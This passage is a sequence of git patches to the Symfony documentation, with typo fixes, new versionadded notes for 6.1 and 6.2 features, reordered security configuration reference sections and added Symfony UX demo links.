@@ -995,7 +995,7 @@ Enable the authenticator using the ``json_login`` setting:
     mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no
     default value).
 
-The authenticator runs when a client request the ``check_path``. First,
+The authenticator runs when a client requests the ``check_path``. First,
 create a controller for this path:
 
 .. code-block:: terminal
@@ -1078,7 +1078,7 @@ That's it! To summarize the process:
             "password": "MyPassword"
         }
 #. The security system intercepts the request, checks the user's submitted
-   credentials and authenticates the user. If the credentials is incorrect,
+   credentials and authenticates the user. If the credentials are incorrect,
    an HTTP 401 Unauthorized JSON response is returned, otherwise your
    controller is run;
 #. Your controller creates the correct response:
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 780f67f8070..702baefd9fc 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -87,9 +87,9 @@ which is defined using the ``APP_SECRET`` environment variable.
 After enabling the ``remember_me`` system in the configuration, there are a
 couple more things to do before remember me works correctly:
 
-#. :ref:`Add an opt-in checkbox to active remember me <security-remember-me-activate>`;
+#. :ref:`Add an opt-in checkbox to activate remember me <security-remember-me-activate>`;
 #. :ref:`Use an authenticator that supports remember me <security-remember-me-authenticator>`;
-#. Optionally, :ref:`configure the how remember me cookies are stored and validated <security-remember-me-storage>`.
+#. Optionally, :ref:`configure how remember me cookies are stored and validated <security-remember-me-storage>`.
 
 After this, the remember me cookie will be created upon successful
 authentication. For some pages/actions, you can
@@ -131,7 +131,7 @@ checkbox must have a name of ``_remember_me``:
 .. note::
 
     Optionally, you can configure a custom name for this checkbox using the
-    ``remember_me_parameter`` setting under the ``remember_me`` section.
+    ``name`` setting under the ``remember_me`` section.
 
 Always activating Remember Me
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 54775793a52..fa8496315c2 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -19,7 +19,7 @@ Static Factories
 Suppose you have a factory that configures and returns a new ``NewsletterManager``
 object by calling the static ``createNewsletterManager()`` method::
 
-    // src/Email\NewsletterManagerStaticFactory.php
+    // src/Email/NewsletterManagerStaticFactory.php
     namespace App\Email;
 
     // ...
diff --git a/session.rst b/session.rst
index 46ba71528cf..3467b3922f1 100644
--- a/session.rst
+++ b/session.rst
@@ -78,7 +78,7 @@ sessions, check their default configuration:
 Setting the ``handler_id`` config option to ``null`` means that Symfony will
 use the native PHP session mechanism. The session metadata files will be stored
 outside of the Symfony application, in a directory controlled by PHP. Although
-this usually simplify things, some session expiration related options may not
+this usually simplifies things, some session expiration related options may not
 work as expected if other applications that write to the same directory have
 short max lifetime settings.
 

From 424ad98f296a6e3f9dac61f369147cf05ac4145c Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Wed, 20 Jul 2022 17:26:04 -0400
Subject: [PATCH 3435/7107] [Doctrine] MakerBundle 1.3 is too old to reference

---
 .doctor-rst.yaml | 5 +----
 controller.rst   | 6 +-----
 doctrine.rst     | 5 -----
 3 files changed, 2 insertions(+), 14 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3e716028b86..289c7ceb439 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -85,10 +85,7 @@ whitelist:
         - '.. versionadded:: 2.4.0' # SwiftMailer
         - '.. versionadded:: 1.30' # Twig
         - '.. versionadded:: 1.35' # Twig
-        - '.. versionadded:: 1.2' # MakerBundle
-        - '.. versionadded:: 1.11' # MakerBundle
-        - '.. versionadded:: 1.3' # MakerBundle
-        - '.. versionadded:: 1.8' # MakerBundle
+        - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
diff --git a/controller.rst b/controller.rst
index a9a2a3adf99..f5879bf6f9e 100644
--- a/controller.rst
+++ b/controller.rst
@@ -153,7 +153,7 @@ and ``redirect()`` methods::
 
         // redirects to a route and maintains the original query string parameters
         return $this->redirectToRoute('blog_show', $request->query->all());
-        
+
         // redirects to the current route (e.g. for Post/Redirect/Get pattern):
         return $this->redirectToRoute($request->attributes->get('_route'));
 
@@ -315,10 +315,6 @@ use:
     created: templates/product/new.html.twig
     created: templates/product/show.html.twig
 
-.. versionadded:: 1.2
-
-    The ``make:crud`` command was introduced in MakerBundle 1.2.
-
 .. index::
    single: Controller; Managing errors
    single: Controller; 404 pages
diff --git a/doctrine.rst b/doctrine.rst
index 2d787cf1a80..dbbc31276a3 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -127,11 +127,6 @@ need. The command will ask you some questions - answer them like done below:
     >
     (press enter again to finish)
 
-.. versionadded:: 1.3
-
-    The interactive behavior of the ``make:entity`` command was introduced
-    in MakerBundle 1.3.
-
 Whoa! You now have a new ``src/Entity/Product.php`` file::
 
     // src/Entity/Product.php

From 50562e801ef1f316eb919418b4c44dd35156df32 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:23:21 +0200
Subject: [PATCH 3436/7107] [HttpKernel] Mention the PSR-7 resolver

---
 controller/argument_value_resolver.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index fe9a1a1b00d..49dc3355c9d 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -54,6 +54,12 @@ In addition, some components and official bundles provide other value resolvers:
     can be set to ``null`` in case  the controller can be accessed by anonymous
     users. It requires installing the :doc:`SecurityBundle </security>`.
 
+PSR-7 Objects Resolver:
+    Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
+    of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
+    :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
+    It requires installing :doc:`the PSR-7 Bridge </components/psr7>`_ component.
+
 Adding a Custom Value Resolver
 ------------------------------
 

From 738d12ee722d3567d052cc18df9c1d12bccf3caa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:05:27 +0200
Subject: [PATCH 3437/7107] [Lock] Mention the CSV DSN in ZookeeperStore

---
 lock.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/lock.rst b/lock.rst
index 688bc3b8c0a..73039eb3015 100644
--- a/lock.rst
+++ b/lock.rst
@@ -55,6 +55,7 @@ this behavior by using the ``lock`` key like:
             lock: ['redis://r1.docker', 'redis://r2.docker']
             lock: 'zookeeper://z1.docker'
             lock: 'zookeeper://z1.docker,z2.docker'
+            lock: 'zookeeper://localhost01,localhost02:2181'
             lock: 'sqlite:///%kernel.project_dir%/var/lock.db'
             lock: 'mysql:host=127.0.0.1;dbname=app'
             lock: 'pgsql:host=127.0.0.1;dbname=app'
@@ -102,6 +103,8 @@ this behavior by using the ``lock`` key like:
 
                     <framework:resource>zookeeper://z1.docker,z2.docker</framework:resource>
 
+                    <framework:resource>zookeeper://localhost01,localhost02:2181</framework:resource>
+
                     <framework:resource>sqlite:///%kernel.project_dir%/var/lock.db</framework:resource>
 
                     <framework:resource>mysql:host=127.0.0.1;dbname=app</framework:resource>
@@ -142,6 +145,7 @@ this behavior by using the ``lock`` key like:
                 ->resource('default', ['redis://r1.docker', 'redis://r2.docker'])
                 ->resource('default', ['zookeeper://z1.docker'])
                 ->resource('default', ['zookeeper://z1.docker,z2.docker'])
+                ->resource('default', ['zookeeper://localhost01,localhost02:2181'])
                 ->resource('default', ['sqlite:///%kernel.project_dir%/var/lock.db'])
                 ->resource('default', ['mysql:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['pgsql:host=127.0.0.1;dbname=app'])
@@ -157,6 +161,11 @@ this behavior by using the ``lock`` key like:
             ;
         };
 
+.. versionadded:: 6.1
+
+    The CSV support (e.g. ``zookeeper://localhost01,localhost02:2181``) in
+    ZookeeperStore DSN was introduced in Symfony 6.1.
+
 Locking a Resource
 ------------------
 

From 82013f80cd5d618fc621193e066e579e197b31d2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 15:06:00 +0200
Subject: [PATCH 3438/7107] Tweaks

---
 security.rst             | 2 +-
 security/expressions.rst | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index a658f9d5049..8b3ca148529 100644
--- a/security.rst
+++ b/security.rst
@@ -1092,10 +1092,10 @@ Authorization (Denying Access)
 .. toctree::
     :maxdepth: 1
 
-    security/expressions
     security/voters
     security/securing_services
     security/access_control
+    security/expressions
     security/access_denied_handler
     security/acl
     security/force_https
diff --git a/security/expressions.rst b/security/expressions.rst
index e8e17524142..656e54dc520 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -1,8 +1,8 @@
 .. index::
    single: Expressions in the Framework
 
-Complex Access Controls with Expressions
-==================================================
+Using Expressions in Security Access Controls
+=============================================
 
 .. seealso::
 

From e6156e364358ea881e0fdc21ee369681b6615eae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 15:48:49 +0200
Subject: [PATCH 3439/7107] [Finder] Mention the new sortByExtension() and
 sortBySize() methods

---
 components/finder.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index ee6165e15bb..55f010d61b6 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -336,12 +336,17 @@ instance. The file is excluded from the result set if the Closure returns
 Sorting Results
 ---------------
 
-Sort the results by name or by type (directories first, then files)::
+Sort the results by name, extension, size or type (directories first, then files)::
 
     $finder->sortByName();
-
+    $finder->sortByExtension();
+    $finder->sortBySize();
     $finder->sortByType();
 
+.. versionadded:: 6.2
+
+    The ``sortByExtension()`` and ``sortBySize()`` methods were introduced in Symfony 6.2.
+
 .. tip::
 
     By default, the ``sortByName()`` method uses the :phpfunction:`strcmp` PHP

From d10df4fd013573c06d9d31b8077069881fd744ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 15:56:03 +0200
Subject: [PATCH 3440/7107] [Dotenv] Document the debug command filter

---
 configuration.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index abf7dcefb5e..bfc7008cc0a 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -847,6 +847,13 @@ Use the ``debug:dotenv`` command to understand how Symfony parses the different
      ALICE      BOB     BOB        bob
     ---------- ------- ---------- ------
 
+    # look for a specific variable passing its full or partial name as an argument
+    $ php bin/console debug:dotenv foo
+
+.. versionadded:: 6.2
+
+    The option to pass variable names to ``debug:dotenv`` was introduced in Symfony 6.2.
+
 Additionally, and regardless of how you set environment variables, you can see all
 environment variables, with their values, referenced in Symfony's container configuration:
 

From 28cae48dde8d6972ed7e0a53686598a8c4a01fea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 16:37:21 +0200
Subject: [PATCH 3441/7107] [Form] Mention that choice labels support
 TranslatableInterface objects

---
 reference/forms/types/options/choice_label.rst.inc | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index aa83524ad88..33b5ccbfc54 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -29,6 +29,12 @@ more control::
         },
     ]);
 
+.. versionadded:: 6.2
+
+    Starting from Symfony 6.2, you can use any object that implements
+    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` as the value
+    of the choice label.
+
 This method is called for *each* choice, passing you the ``$choice`` and
 ``$key`` from the choices array (additional ``$value`` is related to `choice_value`_).
 This will give you:

From 2344303df4c4793ea8dc26e747fcb78cef0c9203 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 28 Sep 2021 21:04:52 +0200
Subject: [PATCH 3442/7107] [Mailer] Explaining In-Reply-To and References
 header

---
 mailer.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 9f26c769d82..fff3b13b5d2 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -323,10 +323,13 @@ header, etc.) but most of the times you'll set text headers::
 
     $email = (new Email())
         ->getHeaders()
-            // this header tells auto-repliers ("email holiday mode") to not
+            // this non-standard header tells compliant autoresponders ("email holiday mode") to not
             // reply to this message because it's an automated email
             ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply')
 
+            // use an array if you want to add a header with multiple values
+            // (for example in the "References" or "In-Reply-To" header)
+            ->addIdHeader('References', ['123@example.com', '456@example.com']);
         // ...
     ;
 

From 85e58bed5f1b141d8a915ce23ab32559bc48f40f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 17:30:30 +0200
Subject: [PATCH 3443/7107] [Security] Document the enable_csrf logout option

---
 reference/configuration/security.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index daaf60f8c5b..2c12f9c5a84 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -449,6 +449,19 @@ redirect after logout.
 
 .. _reference-security-logout-csrf:
 
+enable_csrf
+~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``null``
+
+Set this option to ``true`` to enable CSRF protection in the logout process
+using Symfony's default CSRF token generator. Set also the ``csrf_token_generator``
+option if you need to use a custom CSRF token generator.
+
+.. versionadded:: 6.2
+
+    The ``enable_csrf`` option was introduced in Symfony 6.2.
+
 csrf_parameter
 ~~~~~~~~~~~~~~
 

From eff62e1dad54dcef3eff905d2ae5011672fd2a2f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 17:35:25 +0200
Subject: [PATCH 3444/7107] [Security] Reorder the location of the
 delete_cookies option

---
 reference/configuration/security.rst | 151 +++++++++++++--------------
 1 file changed, 75 insertions(+), 76 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index daaf60f8c5b..d09cdcf7151 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -28,7 +28,6 @@ Configuration
 **Basic Options**:
 
 * `access_denied_url`_
-* `delete_cookies`_
 * `erase_credentials`_
 * `hide_user_not_found`_
 * `session_fixation_strategy`_
@@ -52,81 +51,6 @@ access_denied_url
 Defines the URL where the user is redirected after a ``403`` HTTP error (unless
 you define a custom access denial handler). Example: ``/no-permission``
 
-delete_cookies
-~~~~~~~~~~~~~~
-
-**type**: ``array`` **default**: ``[]``
-
-Lists the names (and other optional features) of the cookies to delete when the
-user logs out::
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    logout:
-                        delete_cookies:
-                            cookie1-name: null
-                            cookie2-name:
-                                path: '/'
-                            cookie3-name:
-                                path: null
-                                domain: example.com
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <!-- ... -->
-                    <logout path="...">
-                        <delete-cookie name="cookie1-name"/>
-                        <delete-cookie name="cookie2-name" path="/"/>
-                        <delete-cookie name="cookie3-name" domain="example.com"/>
-                    </logout>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'main' => [
-                    'logout' => [
-                        'delete_cookies' => [
-                            'cookie1-name' => null,
-                            'cookie2-name' => [
-                                'path' => '/',
-                            ],
-                            'cookie3-name' => [
-                                'path' => null,
-                                'domain' => 'example.com',
-                            ],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
-
 erase_credentials
 ~~~~~~~~~~~~~~~~~
 
@@ -418,6 +342,81 @@ redirected to the ``default_target_path`` to avoid a redirection loop.
 
 **Options Related to Logout Configuration**
 
+delete_cookies
+~~~~~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+Lists the names (and other optional features) of the cookies to delete when the
+user logs out::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        delete_cookies:
+                            cookie1-name: null
+                            cookie2-name:
+                                path: '/'
+                            cookie3-name:
+                                path: null
+                                domain: example.com
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout path="...">
+                        <delete-cookie name="cookie1-name"/>
+                        <delete-cookie name="cookie2-name" path="/"/>
+                        <delete-cookie name="cookie3-name" domain="example.com"/>
+                    </logout>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            // ...
+            'firewalls' => [
+                'main' => [
+                    'logout' => [
+                        'delete_cookies' => [
+                            'cookie1-name' => null,
+                            'cookie2-name' => [
+                                'path' => '/',
+                            ],
+                            'cookie3-name' => [
+                                'path' => null,
+                                'domain' => 'example.com',
+                            ],
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
 invalidate_session
 ~~~~~~~~~~~~~~~~~~
 

From 6babc34a6dc2a3f49e5f90f050719081185fb3ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 17:45:10 +0200
Subject: [PATCH 3445/7107] Tweaks

---
 components/serializer.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 2d7a7ca8890..d20c98d39c7 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -404,8 +404,7 @@ You are now able to serialize only attributes in the groups you want::
     );
     // $obj2 = MyObj(foo: 'foo', bar: 'bar')
 
-    // You can use `groups` with value `*` to get all groups:
-
+    // To get all groups, use the special value `*` in `groups`
     $obj3 = $serializer->denormalize(
         ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
         'MyObj',
@@ -414,6 +413,10 @@ You are now able to serialize only attributes in the groups you want::
     );
     // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
 
+.. versionadded:: 5.2
+
+    The ``*`` special value for ``groups`` was introduced in Symfony 5.2.
+
 .. _ignoring-attributes-when-serializing:
 
 Selecting Specific Attributes

From bc427da9ceff54e3213869eb2dc18a371b163497 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 17:45:54 +0200
Subject: [PATCH 3446/7107] Remove a versionadded directive

---
 components/serializer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 95dbcacc993..f47d366fe7d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -413,10 +413,6 @@ You are now able to serialize only attributes in the groups you want::
     );
     // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
 
-.. versionadded:: 5.2
-
-    The ``*`` special value for ``groups`` was introduced in Symfony 5.2.
-
 .. _ignoring-attributes-when-serializing:
 
 Selecting Specific Attributes

From 36f1d83f2d8596019e26356e110070b471116398 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 16:21:15 +0200
Subject: [PATCH 3447/7107] [Validator] Document the match option of Choice
 constraint

---
 reference/forms/types/choice.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index c56d081bb2a..8dd942559c7 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -195,6 +195,19 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/group_by.rst.inc
 
+match
+~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+When this option is ``false``, the constraint checks that the given value is
+not one of the values defined in the ``choices`` option. In practice, it makes
+the ``Choice`` constraint behave like a ``NotChoice`` constraint.
+
+.. versionadded:: 6.2
+
+    The ``match`` option was introduced in Symfony 6.2.
+
 .. include:: /reference/forms/types/options/multiple.rst.inc
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc

From cd2188a297ea182d1b59d737841b52ffbbf2dc77 Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Sat, 23 Jul 2022 22:20:11 +0200
Subject: [PATCH 3448/7107] [HttpFoundation] Add cache option

Add `immutable` cache option
---
 http_cache.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/http_cache.rst b/http_cache.rst
index 0194089b2cc..5bcedb35101 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -356,6 +356,7 @@ Additionally, most cache-related HTTP headers can be set via the single
         's_maxage'      => 10,
         'public'        => true,
         // 'private'    => true,
+        'immutable'      => true,
     ]);
 
 Cache Invalidation

From 2dbdc43d189e21950c7f0b180eed964a5e4a112c Mon Sep 17 00:00:00 2001
From: Javad Adib <8861284+MrJavadAdib@users.noreply.github.com>
Date: Sun, 24 Jul 2022 07:11:03 +0430
Subject: [PATCH 3449/7107] Update broken link of PHPUnit documentation

update to doc v9.5
---
 testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 63764222dbd..22a530b52d9 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1017,12 +1017,12 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
-.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/stable/configuration.html
+.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/9.5/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
+.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/9.5/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 959bc5e99c341f299f2558105fe3af332f237172 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 24 Jul 2022 17:54:32 +0200
Subject: [PATCH 3450/7107] [Form] Allow TranslatableInterface to the FormType
 help option

---
 reference/forms/types/options/help.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index b0686c3f82e..f03933293b3 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -1,7 +1,7 @@
 help
 ~~~~
 
-**type**: ``string`` or ``TranslatableMessage`` **default**: null
+**type**: ``string`` or ``TranslatableInterface`` **default**: null
 
 Allows you to define a help message for the form field, which by default is
 rendered below the field::

From 59c23cf7f9d98daa75081b8d65cd49d642b96ffc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Jul 2022 08:13:57 +0200
Subject: [PATCH 3451/7107] Minor tweak

---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 5bcedb35101..2df148b9a82 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -356,7 +356,7 @@ Additionally, most cache-related HTTP headers can be set via the single
         's_maxage'      => 10,
         'public'        => true,
         // 'private'    => true,
-        'immutable'      => true,
+        'immutable'     => true,
     ]);
 
 Cache Invalidation

From d93617ad58d83da15c779a4c4e8b09ac4f8c2a34 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Jul 2022 08:32:39 +0200
Subject: [PATCH 3452/7107] Add the versionadded directive

---
 reference/forms/types/options/help.rst.inc | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index f03933293b3..12398df14b1 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -19,3 +19,8 @@ rendered below the field::
             'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'),
         ])
     ;
+
+.. versionadded:: 6.2
+
+    The support for ``TranslatableInterface`` objects as help contents was
+    introduced in Symfony 6.2.

From d54600c4f73c3f2a352ee01220a8af6bdb62a564 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 21 Jul 2022 10:46:42 -0400
Subject: [PATCH 3453/7107] Linking to ux.symfony.com

---
 frontend/ux.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/frontend/ux.rst b/frontend/ux.rst
index 959d3aab035..86fddf852bc 100644
--- a/frontend/ux.rst
+++ b/frontend/ux.rst
@@ -4,6 +4,10 @@
 The Symfony UX Initiative & Packages
 ====================================
 
+.. tip::
+
+    Check out live demos of Symfony UX at `https://ux.symfony.com`_!
+
 Symfony UX is an initiative and set of libraries to seamlessly
 integrate JavaScript tools into your application. For example,
 want to render a chart with `Chart.js`_? Use `UX Chart.js`_ to build the
@@ -148,3 +152,4 @@ the Node package that is responsible for a lot of the magic.
 .. _`@symfony/stimulus-bridge`: https://github.com/symfony/stimulus-bridge
 .. _`stimulus-use`: https://stimulus-use.github.io/stimulus-use
 .. _`stimulus-components`: https://stimulus-components.netlify.app/
+.. _`https://ux.symfony.com`: https://ux.symfony.com

From 65aeaf7c8c0a7dc0500c5cb2d1b12c6a068c1089 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Jul 2022 08:44:42 +0200
Subject: [PATCH 3454/7107] Add links to each Symfony UX component demo

---
 frontend/_ux-libraries.rst.inc | 20 ++++++++++++++------
 1 file changed, 14 insertions(+), 6 deletions(-)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index 40a3e441c8c..aaf03138844 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -1,15 +1,23 @@
-* `ux-autocomplete`_: Transform ``EntityType``, ``ChoiceType`` or *any* ``<select>`` element into an Ajax-powered autocomplete field
-* `ux-chartjs`_: Easy charts with `Chart.js`_
-* `ux-cropperjs`_: Form Type and tools for cropping images
+* `ux-autocomplete`_: Transform ``EntityType``, ``ChoiceType`` or *any*
+  ``<select>`` element into an Ajax-powered autocomplete field
+  (`see demo <https://ux.symfony.com/autocomplete>`_)
+* `ux-chartjs`_: Easy charts with `Chart.js`_ (`see demo <https://ux.symfony.com/chartjs>`_)
+* `ux-cropperjs`_: Form Type and tools for cropping images (`see demo <https://ux.symfony.com/cropperjs>`_)
 * `ux-dropzone`_: Form Type for stylized "drop zone" for file uploads
+   (`see demo <https://ux.symfony.com/dropzone>`_)
 * `ux-lazy-image`_: Optimize Image Loading with BlurHash
+  (`see demo <https://ux.symfony.com/lazy-image>`_)
 * `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript
+  (`see demo <https://ux.symfony.com/live-component>`_)
 * `ux-notify`_: Send server-sent native notification with Mercure
-* `ux-react`_: Render `React`_ component from Twig
-* `ux-swup`_: Integration with `Swup`_
+  (`see demo <https://ux.symfony.com/notify>`_)
+* `ux-react`_: Render `React`_ component from Twig (`see demo <https://ux.symfony.com/react>`_)
+* `ux-swup`_: Integration with `Swup`_ (`see demo <https://ux.symfony.com/swup>`_)
 * `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
+  (`see demo <https://ux.symfony.com/turbo>`_)
 * `ux-twig-component`_: Build Twig Components Backed by a PHP Class
